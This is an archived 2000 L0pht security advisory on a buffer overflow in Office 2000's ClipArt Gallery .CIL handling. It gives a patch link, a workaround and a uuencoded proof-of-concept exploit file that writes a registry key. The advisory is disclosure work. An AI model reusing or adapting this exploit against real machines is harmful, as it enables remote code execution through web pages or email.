ms-clipart.txt

2000-03-09T00:00:00
ID PACKETSTORM:10140
Type packetstorm
Reporter Dildog
Modified 2000-03-09T00:00:00

Description

                                        
                                            `  
  
@Stake Inc.  
L0pht Research Labs  
www.atstake.com www.L0pht.com  
  
  
Security Advisory   
  
  
Advisory Name: ClipArt Gallery Overflow  
Advisory Released: 03/06/00  
Application: Microsoft Office 2000  
Severity: An attacker can seize control of a Windows 95, 98, NT,  
or 2000 machine via any HTML source, including   
Microsoft Outlook e-mail.  
Status: Vendor patch available, workaround available  
Author: dildog@l0pht.com  
WWW: http://www.l0pht.com/advisories.html  
  
  
Overview:  
  
ClipArt Gallery (CAG.EXE) that comes with Microsoft Office 2000  
processes ".CIL" files for installation of clipart from the Internet. The  
CIL format is not handled properly by CAG.EXE and one of the internal fields  
in the file presents a buffer overflow condition, allowing arbitrary code to  
be executed by an attacker. The attacker would place a malicious CIL file  
on a website, or in an email, causing the target to import the CIL file. The  
file will be opened without prompting as the CIL file format does not require   
confirmation for open after download. This issue requires NO active scripting   
to exploit, and is NOT regulated by Internet Explorer 'security zones'.  
  
  
Description:  
  
The ".CIL" file format is a compressed clip-art delivery format that  
takes a Windows Metafile (WMF) or other image, stores it compressed, and  
packages it with keywords and descriptive information. Amongst the various   
fields in the CIL format are a few Unicode strings, one of which is the   
filename to which the clipart is to be decompressed. If the filename specified   
is extremely long, a stack overflow occurs after a Unicode to ANSI conversion,   
copying the ANSI version of the buffer over the stack frame.   
  
Unfortunately, the current fix for this issue is really only a  
bandaid to the problem that Internet Explorer is used -for everything-  
nowadays and that its HTML parser allows random file formats to be  
downloaded and parsed without confirmation in a number of cases. One can  
expect to see similar issues to this in the future.  
  
Vendor provided fix:  
  
Get your patch here:  
  
http://www.microsoft.com/technet/security/bulletin/ms00-015.asp  
  
  
Quick solution:  
  
One may wish to go through all of the file type associations and  
turn on the 'Confirm Open After Download' checkbox to ensure that suspect  
file types are not automatically executed without user intervention.  
  
To do this in Windows 2000, open up a standard Explorer window (such as   
My Computer), and go to the Tools menu and choose "Folder Options". Under the   
"File Types" tab, go to the "CIL" file type and click on it. Now press the  
"Advanced" button. You will notice that the checkbox "Confirm Open After Download"  
is unchecked. Check it, and then click OK.  
  
Exploit:  
  
This CIL file will create a harmless registry key when opened. The   
registry key location is:  
  
HKLM\Software\Microsoft\Windows:dword,SMACK!=0x00000001  
  
This is proof of concept code only, but theoretically could be any executable  
code desired. This code works only on Windows 2000, but shifting around a  
few offsets yields code that works under Windows NT 4.0 and Win9X.  
  
  
<--- cut here --->  
  
begin 644 nt5.cil  
M4P!0`$P`20!4`$,`20!,`#,```"T$```U\W&F@``XO_B__H+^@M>`@````!/  
M50$`"0```T\(```#`#P!``````4````,`ML+VPL%````"P(`````!`````4!  
M`0`$````!`$-``0````&`0$`!`````(!`@`%`````0+___\`!````"X!&``(  
M````^@(`````````````!````"T!```%`````0+___\`!P```/P"````````  
M```$````+0$!``@```#Z`@```0`!```````$````+0$"``0```#P`0``.`$`  
M`"0#F@"=`H@!:@./`8@#AP&]`ZP!M`.2`:L#D@&/`W(!8P-^`;D"70'P`C@!  
M3@,``;$#T0`7!*@`@`2(`.L$<`!7!6$`Q059`.`%60#_!5D`_P4``(T%`P`=  
M!0X`K@0B`$$$/@#6`V$`;@.-``H#P`"J`OH`3@([`?@!@P&G`=$!7`$F`A<!  
M?P+9`-T"HP!``W0`I@-,``\$+0![!!4`Z@0&`%D%___*!?__X`54`.`%60!S  
M!6<`!@5^`)P$G``R!,,`RP/Q`&@#)P$(`V,!K0*F`5<"\`$&`AH"X`$8`N\!  
M%@(B`C\"*0(O`SL",0-?`CD#=P(]`Q,#1@.$`T\#N0-A`_4#<P,6!'X#*028  
M`VP$L0/'!,\#'07>`T<%\@-I!04$B04>!+8%&P3'!1T$U@4F!.`%X`7@!>`%  
MOP/3!;\#MP7&`Y0%VP.*!>,#<P7L`UP%!`1-!1T$/`4W!#`%E@0E!:P$+07=  
M!#4%[`1/!?H$7P4=!6P%005P!5$%7@5+!54%2`5`!40%-P4[!2X%,P48!2X%  
M"P4>!?L$&P7K!`X%R`3Z!+L$\`2>!,@$=@1_!%8$3`0L!"$$*@0#!"$$W@/>  
M`T,#U`,F`\(#Y0*Y`XD"X`-K`NP#60(*!'$"(`1E`EX$8`),!7\"3@6*`D$%  
MD0*#!'\"7@1@`B$$90):!*`"4`6G`F4%FP)L!7\"X`6'`N`%_P$J!)4!#@1O  
M`14$6P&S`V0!OP.'`;H#CP&T`Y(!O0.L`;\#GP'9`Z,!&`3F`04$\@'U`^$!  
MY`/6`<T#U@&]`\<!JP/*`94#PP&$`\8!;P._`5L#R0&=`H@!"````/H"```(  
M``@```````0````M`0``!````/`!`@`X`0``)0.:`)T"B`%J`X\!B`.'`;T#  
MK`&T`Y(!JP.2`8\#<@%C`WX!N0)=`?`".`%.`P`!L0/1`!<$J`"`!(@`ZP1P  
M`%<%80#%!5D`X`59`/\%60#_!0``C04#`!T%#@"N!"(`000^`-8#80!N`XT`  
M"@/``*H"^@!.`CL!^`&#`:<!T0%<`28"%P%_`MD`W0*C`$`#=`"F`TP`#P0M  
M`'L$%0#J!`8`607__\H%___@!50`X`59`',%9P`&!7X`G`2<`#($PP#+`_$`  
M:`,G`0@#8P&M`J8!5P+P`08"&@+@`1@"[P$6`B("/P(I`B\#.P(Q`U\".0-W  
M`CT#$P-&`X0#3P.Y`V$#]0-S`Q8$?@,I!)@#;`2Q`\<$SP,=!=X#1P7R`VD%  
M!02)!1X$M@4;!,<%'036!28$X`7@!>`%X`6_`],%OP.W!<8#E`7;`XH%XP-S  
M!>P#7`4$!$T%'00\!3<$,`66!"4%K`0M!=T$-07L!$\%^@1?!1T%;`5!!7`%  
M405>!4L%505(!4`%1`4W!3L%+@4S!1@%+@4+!1X%^P0;!>L$#@7(!/H$NP3P  
M!)X$R`1V!'\$5@1,!"P$(00J!`,$(03>`]X#0P/4`R8#P@/E`KD#B0+@`VL"  
M[`-9`@H$<0(@!&4"7@1@`DP%?P).!8H"0061`H,$?P)>!&`"(01E`EH$H`)0  
M!:<"906;`FP%?P+@!8<"X`7_`2H$E0$.!&\!%01;`;,#9`&_`X<!N@./`;0#  
MD@&]`ZP!OP.?`=D#HP$8!.8!!03R`?4#X0'D`]8!S0/6`;T#QP&K`\H!E0/#  
M`80#Q@%O`[\!6P/)`9T"B`$(````^@(```$``0``````!````"T!`@`$````  
M\`$``(X````D`T4`_P6)`M$&H@+<!L<"]`;9`CX'\P([!PT#&`>G`P@'X0/W  
M!B($]P9L!/<&L`3P!LP$YP;J!-P&#`7.!A$%Q`8<!;@&*P6N!BT%I`8T!9T&  
M0P64!DD%B@9,!74&505Z!BL%B`8*!84&[@2,!L8$CP:3!(4&:@1\!B\$9P8-  
M!&P&``1L!NP#3`;&`_\%O@/_!>`%:`?@!5H'R@5L!Y8%E`<D!:,'P`2Z!Q8$  
MN0?>`Z8'3@.L!]4"IP>S`J,'J0+'!ZL"S`?%`J<'LP*L!]4"T`?T`N('YP+@  
M!Z`"G`BS`NP(N0+G"*`"D0B=`MD'=`+`!WH"F@=U`HH'7P)^!U`"6P=!`B\'  
M0@(8!RP"[@8\`O\%!`+_!8D""````/H"```(``@```````0````M`0``!```  
M`/`!`@".````)0-%`/\%B0+1!J("W`;'`O0&V0(^!_,".P<-`Q@'IP,(!^$#  
M]P8B!/<&;`3W!K`$\`;,!.<&Z@3<!@P%S@81!<0&'`6X!BL%K@8M!:0&-`6=  
M!D,%E`9)!8H&3`5U!E4%>@8K!8@&"@6%!NX$C`;&!(\&DP2%!FH$?`8O!&<&  
M#01L!@`$;`;L`TP&Q@/_!;X#_P7@!6@'X`5:!\H%;`>6!90')`6C!\`$N@<6  
M!+D'W@.F!TX#K`?5`J<'LP*C!ZD"QP>K`LP'Q0*G![,"K`?5`M`']`+B!^<"  
MX`>@`IP(LP+L"+D"YPB@`I$(G0+9!W0"P`=Z`IH'=0**!U\"?@=0`EL'00(O  
M!T("&`<L`NX&/`+_!00"_P6)`@@```#Z`@```0`!```````$````+0$"``0`  
M``#P`0``8````"0#+@#_!5D`_P4``&X&!@#>!A0`30<J`+D'2``C"&X`B@B<  
M`.T(T0!,"0X!I@E2`?L)G`%*"NP!DPI!`M4*G`(1"_P"10M@`W(+QP.7"S$$  
MM`N>!,@+#075"WT%V@O\!8X+_`6."^`%B@N(!7X+&P5I"[`$3`M&!"<+WP/Z  
M"GL#Q@H:`XL*O@))"F8"``H5`K()R`%="8(!!`E#`:8("@%$"-D`W@>P`'8'  
MC@`,!W0`H`9C`#(&6@#_!5D`"````/H"```(``@```````0````M`0``!```  
M`/`!`@!@````)0,N`/\%60#_!0``;@8&`-X&%`!-!RH`N0=(`",(;@"*")P`  
M[0C1`$P)#@&F"5(!^PF<`4H*[`&3"D$"U0J<`A$+_`)%"V`#<@O'`Y<+,02T  
M"YX$R`L-!=4+?07:"_P%C@O\!8X+X`6*"X@%?@L;!6D+L`1,"T8$)PO?`_H*  
M>P/&"AH#BPJ^`DD*9@(`"A4"L@G(`5T)@@$$"4,!I@@*`40(V0#>![``=@>.  
M``P'=`"@!F,`,@9:`/\%60`(````^@(```$``0``````!````"T!`@`$````  
M\`$``(P````D`T0`;P?\!?\%_`7_!90+\064"_$%V@LG!MH+EP;1"P8'P`MT  
M!Z<+X`>&"TD(70NN""P+$`GT"FT)M0K%"6\*&`HC"F4*T0FL"GD)[`H<"24+  
MNPA6"U8(@`OM!Z(+@@>\"Q4'S@NE!M<+-0;:"_P%C@O\!8X+'@:&"XP&=POY  
M!E\+8P<_"\P'%PLR".@*E0BQ"O0(<PI/"2X*I`GC"?0)D@D^"CP)@0KA"+X*  
M@0CT"AX((@OP!S,+[P<3"]8'Q@K2!YX*R0=L"K4')0JO!P<*I@?>"8P'GPE^  
M!XP)>0<="7X'#0EZ!_,(?@??"($'D@B(!R<(A@?=!VL'-0=U!^,&<@>A!F@'  
M6`9W!R(&>0</!F\'_`4(````^@(```@`"```````!````"T!```$````\`$"  
M`(P````E`T0`;P?\!?\%_`7_!90+\064"_$%V@LG!MH+EP;1"P8'P`MT!Z<+  
MX`>&"TD(70NN""P+$`GT"FT)M0K%"6\*&`HC"F4*T0FL"GD)[`H<"24+NPA6  
M"U8(@`OM!Z(+@@>\"Q4'S@NE!M<+-0;:"_P%C@O\!8X+'@:&"XP&=POY!E\+  
M8P<_"\P'%PLR".@*E0BQ"O0(<PI/"2X*I`GC"?0)D@D^"CP)@0KA"+X*@0CT  
M"AX((@OP!S,+[P<3"]8'Q@K2!YX*R0=L"K4')0JO!P<*I@?>"8P'GPE^!XP)  
M>0<="7X'#0EZ!_,(?@??"($'D@B(!R<(A@?=!VL'-0=U!^,&<@>A!F@'6`9W  
M!R(&>0</!F\'_`4(````^@(```$``0``````!````"T!`@`$````\`$``(@`  
M```D`T(`*03\!3X$*P8_!%4&/P2N!D\$U0:4!+4'K@08",,$90C&!(H(P02M  
M",@$O`C5!-$(P03N"+($(@FI!&T)B00-"G\$EPIT!-`*:P3N"FT$*0MB!%H+  
M\`,T"XL#"0LJ`]8*S0*<"G0"7`HA`A4*U`''"8P!=`E+`1P)$0&^"-\`7@BS  
M`/D'D`"1!W4`)P=B`+L&5P!.!E4`_`54`.`%___@!0$`.@8+`*H&'0`9!S<`  
MAP=9`/('A`!:"+8`OPCO`"`)+P%]"78!U`G#`28*%P)R"F\"N`K-`O<*+@,O  
M"Y0#7PO]`X@+:02H"]8$P0M&!=$+M@7:"_$%V@OQ!90+X`64"^`%_`4I!/P%  
M"````/H"```(``@```````0````M`0``!````/`!`@"(````)0-"`"D$_`4^  
M!"L&/P15!C\$K@9/!-4&E`2U!ZX$&`C#!&4(Q@2*",$$K0C(!+P(U031",$$  
M[@BR!"()J01M"8D$#0I_!)<*=`30"FL$[@IM!"D+8@1:"_`#-`N+`PD+*@/6  
M"LT"G`IT`EP*(0(5"M0!QPF,`70)2P$<"1$!O@C?`%X(LP#Y!Y``D0=U`"<'  
M8@"[!E<`3@95`/P%5`#@!?__X`4!`#H&"P"J!AT`&0<W`(<'60#R!X0`6@BV  
M`+\([P`@"2\!?0EV`=0)PP$F"A<"<@IO`K@*S0+W"BX#+PN4`U\+_0.("VD$  
MJ`O6!,$+1@71"[8%V@OQ!=H+\064"^`%E`O@!?P%*03\!0@```#Z`@```0`!  
M```````$````+0$"``0```#P`0``#@```"0#!0!5`/P%5`#@!28$X`4I!/P%  
M50#\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!5  
M`/P%5`#@!28$X`4I!/P%50#\!0@```#Z`@```0`!```````$````+0$"``0`  
M``#P`0``#@```"0#!0#@!;\#X`6'`O\%B0+_!;X#X`6_`P@```#Z`@``"``(  
M```````$````+0$```0```#P`0(`#@```"4#!0#@!;\#X`6'`O\%B0+_!;X#  
MX`6_`P@```#Z`@```0`!```````$````+0$"``0```#P`0``#@```"0#!0#@  
M!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@``"``(```````$````+0$```0`  
M``#P`0(`#@```"4#!0#@!?\!X`59`/\%60#_!00"X`7_`0@```#Z`@```0`!  
M```````$````+0$"``0```#P`0``#@```"0#!0!O!_P%:`?@!8X+X`6."_P%  
M;P?\!0@```#Z`@``"``(```````$````+0$```0```#P`0(`#@```"4#!0!O  
M!_P%:`?@!8X+X`6."_P%;P?\!0,``````&8`9@!F`&8`9@!F`&8`9@!F`&8`  
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F  
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`  
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F  
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`  
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F  
M`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`  
M9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F`&8`9@!F  
M`&8`2P!^`'T`9P!!`$$`00`M`"T`+0`M`"T`9@!F`)``ZP`6`"P`$`!]`&<`  
M*``0`'T`9P`D`!``?0!G`!@`[P"_`/\`D`"0`)``D`#K``4`Z`#Y`/\`_P#_  
M`%X`@0#&`.4`_P#_`/\`D`"0`)``5@!8`($`Z`!\`/\`_P#_`%``]@`0`$``  
M9@"!`#@``P`#`'4`]@!?`)``D`#_`#8`60!6`%<`N`#]`/\`_P!_`/<`T`!0  
M`/\`$0"0`/\`-@!:`)``,P#)`$D`,P#``/(`K@"0`#,`R0`"``\`40!'`%<`  
M`P#Y`)``N`#\`/\`_P#_`/<`V`!0`#,`P`!0`%<`4@`#`$8`!`#_`!``5@`#  
M`$8`"`#_`!``4``S`,```P!&``P`]P#8`/\`$`"0`*P`L`"Y`*L`J`"^`*T`  
MN@"C`+(`M@"\`*T`L`"L`+``N0"K`*,`J`"V`+$`NP"P`*@`K`#_`/L`_@#_  
M`/\`_P"L`+(`O@"\`+0`W@#_``,``P`#`&8`9@!F`&8`9@!F````9@!F`&8`  
M9@!F`&8`9@```&8`9@!F`&8`9@!F`&8```!F`&8`9@!F`&8`9@!F`&8`9@!F  
)`&8`9@``````  
`  
end  
  
<--- cut here --->  
  
  
dildog@l0pht.com   
  
[ For more advisories check out http://www.l0pht.com/advisories.html ]  
L-ZERO-P-H-T  
  
  
`